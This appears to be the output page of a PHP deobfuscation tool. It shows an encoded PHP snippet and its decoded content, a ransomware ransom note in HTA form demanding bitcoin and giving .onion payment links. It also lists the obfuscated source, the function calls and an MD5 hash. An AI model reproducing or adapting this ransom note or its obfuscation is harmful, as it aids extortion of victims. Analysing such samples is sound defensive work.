Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hta = gzinflate(base64_decode("rVVdb9MwFH0eEv/hEmlva7INJKYqDcraSlSCrmojJp6Qk7iNmeM..

Decoded Output download

b'<html>
		<head>
		<HTA:APPLICATION ID="DECRYPT" APPLICATIONNAME="DECRYPT" WINDOWSTATE="maximize" />
		</head>
		<body bgcolor="red" text="white" style="font-family: Verdana">

			<h1 style="font-size: 28px">ATTENTION!</h1>

			<p style="font-size: 20px">All your documents, photos, databases and other important personal files were encrypted<br>using a combination of strong RSA-2048 and AES-128 algorithms.</p>
	
			<p style="font-size: 20px">The only way to restore your files is to buy decryptor. Please, follow these steps:</p>

			<ol>
				<li><p>Create your Bitcoin wallet here: <b>https://blockchain.info/wallet/new</b></p></li>

				<li><p>Buy <%PRICE%> bitcoins here: <b>https://localbitcoins.com/buy_bitcoins</b></p></li>

				<li><p>Send <%PRICE%> bitcoins to this address: <b><%ADDRESS%></b></p></li>

				<li><p>Open one of the following links in your browser:</p>
				<p>
					<div><b>https://bgl3mwo7z3pqyysm.onion.link/?<%ADDRESS%></b></div>
					<div><b>https://bgl3mwo7z3pqyysm.onion.to/?<%ADDRESS%></b></div>
					<div><b>https://bgl3mwo7z3pqyysm.onion.casa/?<%ADDRESS%></b></div>
				</p>

				<p>If all of these pages are not available:</p>
				<p>
				<ul>
					<li>Download Tor Browser here: <b>https://www.torproject.org/download/download-easy.html.en</b></li>
					<li>Install and run Tor Browser</li>
					<li>Open this site in Tor Browser: <b>http://bgl3mwo7z3pqyysm.onion/?<%ADDRESS%></b></li>
				</ul>
				</p>
				</li>
		
				<li><p>Download and run decryptor to restore your files.</p></li>
			</ol>
		</body>
		</html>
	'

Did this file decode correctly?

Original Code

<?php  $hta = gzinflate(base64_decode("rVVdb9MwFH0eEv/hEmlva7INJKYqDcraSlSCrmojJp6Qk7iNmeMbbHdZ9uu5+WjIWBlC4qlW7HvOueceu35mcxm8fnVy4mecpe3qYxSOw9Xq02IaRoubJSxmE2c2n66/riIHBhvL8PN8sHO7WM5ubjdRGNHXnD2IXDxyB7wW1PuFH2NaQbxLUKKeOJqnDlj+YCdOmQlLFcZWkk+cLSo72rJcyGoMX7hOmWIOIdQYJPfiyTlDXGO4vCoenCCMovmyFviGWC/6iuJYwXlTICVUuNeQYrLPubLmDIoMLdJvyiyLmeEGmEoBbcY1iLxAbZmyUHBtUDEJWyHpSMk1B64SXRWWp36sg70RagcMEsxjoZgVqAC3pEQjfV9vwtHl+burBjucb0YXl7SWO9TCZrlxfa+oLfub/ijjgEpWULIKLILmxiIpaXpqlQlTb8T7ClLeyEPtwkpy6uwMtigllkC9GU4kvDDjlrklxjYhtJIi8ItgqjmzHfq1sAkKRcxScgvkDqny4yCzllA8L5aY3CUZE8oVaotee85TvPS9OKhZfI9QO6oDwzXp9E9X68V0fhpA3HKY5+gEzuRh2yWPPerw2+HDSwwbTo4foSCTbEZmsTQlF03D5p+Gs9l6vtmcBi9B3hScZqt4PV+ysnO1Hr8U6o5GoFrLYo2l4bqzuAE4LE78VNwHQ/t28m1e4vvHt8WPqjK5i4oS5NaA3odnuurifwOy+F9gEmbYi0CDONXdLraUctkZRZkr2K6+YBRZhRbYPROSxZIfs8jfy14c+T7DUklkKURIYWydfZ6TsiypVV1o/M4T66LeeWlX2C9GdBcqt34PXa5a/c2Me6qFMrZWXd9VvVdDxt+PNlFocmToRasnPzjcK/ujn0es7PF9rzdg4M5h/0kge28Oivurf/yRcAfJbkC7i08K6MU+POPdH8ZP"));

echo $hta;
 ?>

Function Calls

gzinflate 1
base64_decode 1

Variables

$hta <html> <head> <HTA:APPLICATION ID="DECRYPT" APPLICATIO..

Stats

MD5 ee4f4d62cbd566cd76c8e2fa62fa8ec8
Eval Count 0
Decode Time 72 ms